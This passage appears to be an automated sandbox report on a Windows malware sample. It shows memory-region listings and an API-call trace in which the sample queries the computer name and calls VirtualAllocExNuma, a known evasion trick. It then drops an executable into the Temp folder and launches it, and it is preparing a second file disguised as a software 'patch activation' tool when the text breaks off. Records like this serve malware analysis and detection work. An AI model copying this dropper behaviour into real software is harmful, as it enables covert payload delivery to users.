Region: id = 407 start_va = 0x1c8a0000 end_va = 0x1e46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c8a0000" filename = "" Region: id = 408 start_va = 0x1e5d0000 end_va = 0x1e9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001e5d0000" filename = "" Region: id = 409 start_va = 0x1eb30000 end_va = 0x1ef2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001eb30000" filename = "" Region: id = 410 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 411 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 412 start_va = 0xafff0000 end_va = 0x107feffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000afff0000" filename = "" Region: id = 413 start_va = 0x1ef30000 end_va = 0x226bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ef30000" filename = "" Region: id = 414 start_va = 0x226c0000 end_va = 0x526bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000226c0000" filename = "" Region: id = 415 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 416 start_va = 0x650000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000650000" filename = "" Region: id = 417 start_va = 0x7fef2450000 end_va = 0x7fef2644fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 418 start_va = 0x7feecea0000 end_va = 0x7feedf45fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 419 start_va = 0x7fe917b0000 end_va = 0x7fe917bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe917b0000" filename = "" Region: id = 420 start_va = 0x660000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 421 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 422 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000680000" filename = "" Region: id = 423 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 424 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 425 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006b0000" filename = "" Region: id = 426 start_va = 0x6c0000 end_va = 0x6cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006c0000" filename = "" Region: id = 427 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 428 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 431 start_va = 0x7fefd6f0000 end_va = 0x7fefe477fff monitored = 0 entry_point = 0x7fefd76cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 432 start_va = 0x140000 end_va = 0x140fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000140000" filename = "" Region: id = 433 start_va = 0x7fefb620000 end_va = 0x7fefb74bfff monitored = 0 entry_point = 0x7fefb6294bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 434 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 435 start_va = 0x650000 end_va = 0x651fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000650000" filename = "" Region: id = 436 start_va = 0x7fefb7a0000 end_va = 0x7fefb993fff monitored = 0 entry_point = 0x7fefb92c924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 437 start_va = 0x660000 end_va = 0x660fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 438 start_va = 0x670000 end_va = 0x671fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000670000" filename = "" Region: id = 439 start_va = 0x660000 end_va = 0x660fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 440 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 441 start_va = 0x680000 end_va = 0x680fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000680000" filename = "" Region: id = 442 start_va = 0x7fefacf0000 end_va = 0x7fefad1cfff monitored = 0 entry_point = 0x7fefacf1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 443 start_va = 0x7fefea60000 end_va = 0x7fefeab1fff monitored = 0 entry_point = 0x7fefea610d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 444 start_va = 0x690000 end_va = 0x693fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 445 start_va = 0x6a0000 end_va = 0x6c5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000a.db" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000a.db" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000a.db") Region: id = 446 start_va = 0x6d0000 end_va = 0x6d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006d0000" filename = "" Region: id = 447 start_va = 0x1aa60000 end_va = 0x1ab60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aa60000" filename = "" Region: id = 448 start_va = 0x1aa60000 end_va = 0x1ab60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aa60000" filename = "" Region: id = 449 start_va = 0x1aa60000 end_va = 0x1ab60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aa60000" filename = "" Region: id = 450 start_va = 0x7fefcc70000 end_va = 0x7fefcc7efff monitored = 0 entry_point = 0x7fefcc719b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 451 start_va = 0x690000 end_va = 0x693fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 452 start_va = 0x6e0000 end_va = 0x70ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000015.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000015.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000015.db") Region: id = 453 start_va = 0x720000 end_va = 0x723fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 454 start_va = 0x930000 end_va = 0x995fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 455 start_va = 0x1c9d0000 end_va = 0x1cdcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001c9d0000" filename = "" Region: id = 456 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 457 start_va = 0x1aa60000 end_va = 0x1ab60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aa60000" filename = "" Region: id = 458 start_va = 0x1aa60000 end_va = 0x1ab60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aa60000" filename = "" Region: id = 459 start_va = 0x1aa60000 end_va = 0x1ab60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aa60000" filename = "" Region: id = 460 start_va = 0x1aa60000 end_va = 0x1ab60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aa60000" filename = "" Region: id = 461 start_va = 0x7fefe480000 end_va = 0x7fefe656fff monitored = 0 entry_point = 0x7fefe481010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 462 start_va = 0x7fefcf00000 end_va = 0x7fefcf35fff monitored = 0 entry_point = 0x7fefcf01474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 463 start_va = 0x1aa60000 end_va = 0x1ab60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aa60000" filename = "" Region: id = 464 start_va = 0x1aa60000 end_va = 0x1ab60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aa60000" filename = "" Region: id = 465 start_va = 0x1aa60000 end_va = 0x1ab60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aa60000" filename = "" Region: id = 466 start_va = 0x1aa60000 end_va = 0x1ab60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aa60000" filename = "" Region: id = 467 start_va = 0x7fefcf40000 end_va = 0x7fefcf59fff monitored = 0 entry_point = 0x7fefcf41558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 468 start_va = 0x9a0000 end_va = 0x9acfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 469 start_va = 0x1aa60000 end_va = 0x1ab5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aa60000" filename = "" Region: id = 470 start_va = 0x7fef9850000 end_va = 0x7fef98a6fff monitored = 0 entry_point = 0x7fef9851118 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 471 start_va = 0x1bc00000 end_va = 0x1bffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bc00000" filename = "" Region: id = 472 start_va = 0x7fef67f0000 end_va = 0x7fef6823fff monitored = 0 entry_point = 0x7fef67f1890 region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\System32\\shdocvw.dll" (normalized: "c:\\windows\\system32\\shdocvw.dll") Region: id = 473 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 474 start_va = 0x9b0000 end_va = 0x9bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui") Region: id = 475 start_va = 0x7fefd040000 end_va = 0x7fefd1b7fff monitored = 0 entry_point = 0x7fefd0410e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 476 start_va = 0x7fefee20000 end_va = 0x7fefef49fff monitored = 0 entry_point = 0x7fefee210d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 477 start_va = 0x7fefd1c0000 end_va = 0x7fefd418fff monitored = 0 entry_point = 0x7fefd1c1340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 478 start_va = 0x7fefcd90000 end_va = 0x7fefcefcfff monitored = 0 entry_point = 0x7fefcd910b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 479 start_va = 0x7fefcd10000 end_va = 0x7fefcd1efff monitored = 0 entry_point = 0x7fefcd11020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 480 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 481 start_va = 0x9c0000 end_va = 0x9c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009c0000" filename = "" Region: id = 512 start_va = 0x9e0000 end_va = 0x9e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009e0000" filename = "" Region: id = 521 start_va = 0x1ceb0000 end_va = 0x1d2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ceb0000" filename = "" Region: id = 522 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 565 start_va = 0x7fefc560000 end_va = 0x7fefc577fff monitored = 0 entry_point = 0x7fefc563b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 566 start_va = 0x21c0000 end_va = 0x2204fff monitored = 0 entry_point = 0x21c1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 567 start_va = 0x2260000 end_va = 0x22dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 568 start_va = 0x21c0000 end_va = 0x2204fff monitored = 0 entry_point = 0x21c1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 569 start_va = 0x21c0000 end_va = 0x2204fff monitored = 0 entry_point = 0x21c1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 570 start_va = 0x21c0000 end_va = 0x2204fff monitored = 0 entry_point = 0x21c1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 571 start_va = 0x21c0000 end_va = 0x2204fff monitored = 0 entry_point = 0x21c1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 572 start_va = 0x7fefc260000 end_va = 0x7fefc2a6fff monitored = 0 entry_point = 0x7fefc261064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 573 start_va = 0x7fefcc50000 end_va = 0x7fefcc63fff monitored = 0 entry_point = 0x7fefcc510e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 582 start_va = 0x1d410000 end_va = 0x1d80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d410000" filename = "" Region: id = 583 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Thread: id = 1 os_tid = 0xa54 [0055.789] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0060.069] CoTaskMemAlloc (cb=0x11) returned 0x7de7b0 [0060.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32.dll", cchWideChar=12, lpMultiByteStr=0x2a63440, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32.dll", lpUsedDefaultChar=0x0) returned 12 [0060.071] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76b00000 [0060.071] CoTaskMemFree (pv=0x7de7b0) [0060.091] CoTaskMemAlloc (cb=0x11) returned 0x7de7b0 [0060.091] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SetErrorMode", cchWideChar=12, lpMultiByteStr=0x2a634a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SetErrorMode", lpUsedDefaultChar=0x0) returned 12 [0060.091] GetProcAddress (hModule=0x76b00000, lpProcName="SetErrorMode") returned 0x76b1b1f0 [0060.091] CoTaskMemFree (pv=0x7de7b0) [0060.108] CoTaskMemAlloc (cb=0x11) returned 0x7de7b0 [0060.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kernel32.dll", cchWideChar=12, lpMultiByteStr=0x2a63a58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kernel32.dll", lpUsedDefaultChar=0x0) returned 12 [0060.108] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76b00000 [0060.108] CoTaskMemFree (pv=0x7de7b0) [0060.108] CoTaskMemAlloc (cb=0x17) returned 0x7de7b0 [0060.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VirtualAllocExNuma", cchWideChar=18, lpMultiByteStr=0x2a63ab8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VirtualAllocExNuma", lpUsedDefaultChar=0x0) returned 18 [0060.109] GetProcAddress (hModule=0x76b00000, lpProcName="VirtualAllocExNuma") returned 0x76b4bf80 [0060.109] CoTaskMemFree (pv=0x7de7b0) [0061.800] SetErrorMode (uMode=0x400) returned 0x0 [0061.800] SetErrorMode (uMode=0x0) returned 0x400 [0061.800] VirtualAllocExNuma (hProcess=0xffffffffffffffff, lpAddress=0x0, dwSize=0x3e8, flAllocationType=0x3000, flProtect=0x4, nndPreferred=0x0) returned 0x130000 [0061.826] GetComputerNameW (in: lpBuffer=0x54e610, nSize=0x54e938 | out: lpBuffer="Q9IATRKPRH", nSize=0x54e938) returned 1 [0061.827] GetComputerNameW (in: lpBuffer=0x54e610, nSize=0x54e938 | out: lpBuffer="Q9IATRKPRH", nSize=0x54e938) returned 1 [0061.827] GetComputerNameW (in: lpBuffer=0x54e610, nSize=0x54e938 | out: lpBuffer="Q9IATRKPRH", nSize=0x54e938) returned 1 [0061.827] GetComputerNameW (in: lpBuffer=0x54e610, nSize=0x54e938 | out: lpBuffer="Q9IATRKPRH", nSize=0x54e938) returned 1 [0061.850] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x54d6e8 | out: phkResult=0x54d6e8*=0x0) returned 0x2 [0061.852] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0061.858] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\6b8dac8326076b76369a8eb4e316a86a7663b597aeffe89b35e86c02aa5df4c0.exe", nBufferLength=0x105, lpBuffer=0x54e220, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\6b8dac8326076b76369a8eb4e316a86a7663b597aeffe89b35e86c02aa5df4c0.exe", lpFilePart=0x0) returned 0x5f [0063.177] CreateFileMappingW (hFile=0xffffffffffffffff, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x834800, lpName=0x0) returned 0x1d4 [0063.178] memcpy (in: _Dst=0x1c060000, _Src=0x136b86d8, _Size=0x834800 | out: _Dst=0x1c060000) returned 0x1c060000 [0063.289] CloseHandle (hObject=0x1d4) returned 1 [0159.114] CoTaskMemAlloc (cb=0x20c) returned 0x7ba740 [0159.117] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x7ba740 | out: lpBuffer="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\") returned 0x25 [0159.120] CoTaskMemFree (pv=0x7ba740) [0159.188] GetLongPathNameW (in: lpszShortPath="C:\\Users\\KEECFM~1\\", lpszLongPath=0x54db10, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\") returned 0x13 [0159.193] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x54db30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x26 [0159.201] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\2.0.0-beta2.cps.exe", nBufferLength=0x105, lpBuffer=0x54db40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\2.0.0-beta2.cps.exe", lpFilePart=0x0) returned 0x39 [0159.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x54dd58) returned 1 [0159.214] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\2.0.0-beta2.cps.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\2.0.0-beta2.cps.exe"), fInfoLevelId=0x0, lpFileInformation=0x54e080 | out: lpFileInformation=0x54e080*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0159.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x54dd08) returned 1 [0159.235] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\2.0.0-beta2.cps.exe", nBufferLength=0x105, lpBuffer=0x54d9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\2.0.0-beta2.cps.exe", lpFilePart=0x0) returned 0x39 [0159.236] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x54deb8) returned 1 [0159.239] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\2.0.0-beta2.cps.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\2.0.0-beta2.cps.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d4 [0159.247] GetFileType (hFile=0x1d4) returned 0x1 [0159.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x54de28) returned 1 [0159.247] GetFileType (hFile=0x1d4) returned 0x1 [0159.256] WriteFile (in: hFile=0x1d4, lpBuffer=0x226c1030*, nNumberOfBytesToWrite=0x2d7545a0, lpNumberOfBytesWritten=0x54dfc8, lpOverlapped=0x0 | out: lpBuffer=0x226c1030*, lpNumberOfBytesWritten=0x54dfc8*=0x2d7545a0, lpOverlapped=0x0) returned 1 [0212.524] CloseHandle (hObject=0x1d4) returned 1 [0212.994] LocalAlloc (uFlags=0x0, uBytes=0x74) returned 0x7afba0 [0212.996] LocalAlloc (uFlags=0x0, uBytes=0xa) returned 0x7debf0 [0216.037] ShellExecuteExW (in: pExecInfo=0x2a8a128*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb="open", lpFile="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\2.0.0-beta2.cps.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x2a8a128*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb="open", lpFile="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\2.0.0-beta2.cps.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x368)) returned 1 [0225.291] LocalFree (hMem=0x7afba0) returned 0x0 [0225.291] LocalFree (hMem=0x7debf0) returned 0x0 [0228.734] CoTaskMemAlloc (cb=0x20c) returned 0x7efe30 [0228.734] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x7efe30 | out: lpBuffer="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\") returned 0x25 [0228.734] CoTaskMemFree (pv=0x7efe30) [0228.735] GetLongPathNameW (in: lpszShortPath="C:\\Users\\KEECFM~1\\", lpszLongPath=0x54db10, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\") returned 0x13 [0228.736] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x54db30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x26 [0228.736] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.exe", nBufferLength=0x105, lpBuffer=0x54db40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.exe", lpFilePart=0x0) returned 0x58 [0228.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x54dd58) returned 1 [0228.736] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\a1photo-&-art-enhancer_search&patch_activation.exe"), fInfoLevelId=0x0, lpFileInformation=0x54e080 | out: lpFileInformation=0x54e080*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, 